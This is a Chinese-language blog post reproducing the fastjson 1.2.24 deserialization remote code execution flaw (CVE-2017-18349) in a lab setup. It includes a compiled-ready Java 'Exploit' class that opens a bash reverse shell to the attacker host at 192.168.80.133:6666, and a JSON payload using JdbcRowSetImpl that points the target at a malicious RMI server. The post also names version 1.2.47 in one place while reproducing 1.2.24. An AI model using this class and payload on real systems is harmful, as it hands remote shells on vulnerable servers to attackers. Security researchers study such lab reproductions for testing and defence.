当前位置:   article > 正文

fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

fastjson 1.2.24 反序列化导致任意命令执行漏洞

一、fastjson简介

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象。

二、漏洞原理

攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl恶意信息发送给目标机。

存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机执行了恶意代码,被攻击者成功利用。

三、漏洞复现

目标靶机:Ubuntu         ip:192.168.80.157

攻击机:kali                   ip:192.168.80.133

启动环境前要先进入到对应的目录下。如本次对Fastjson 1.2.47远程命令执行漏洞进行复习,先进入到其目录下。

启动环境:

docker-compose up -d

访问8090端口,当出现如下图所示,即环境搭建成功

提前使用javac编译java文件生成一个恶意类

  1. public class Exploit {
  2. public Exploit(){
  3. try{
  4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.80.133/6666 0>&1");
  5. }catch(Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. Exploit e = new Exploit();
  11. }
  12. }

将恶意类放到kali端

开启web服务,让rmi服务器能访问到恶意类文件

访问6969端口,查看是否成功开启web服务

开启RMI服务,将恶意类放到服务器上 

同时监听6666端口(在java中写入的是通过6666端口反弹shell)

使用burpsuite对192.168.80.157:8090抓包,构造payload并发送。

  1. {
  2. "b":{
  3. "@type":"com.sun.rowset.JdbcRowSetImpl",
  4. "dataSourceName":"rmi://192.168.80.133:6869/#Exploit",
  5. "autoCommit":true
  6. }
  7. }

 

反弹shell成功

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/923063
推荐阅读
相关标签
  

闽ICP备14008679号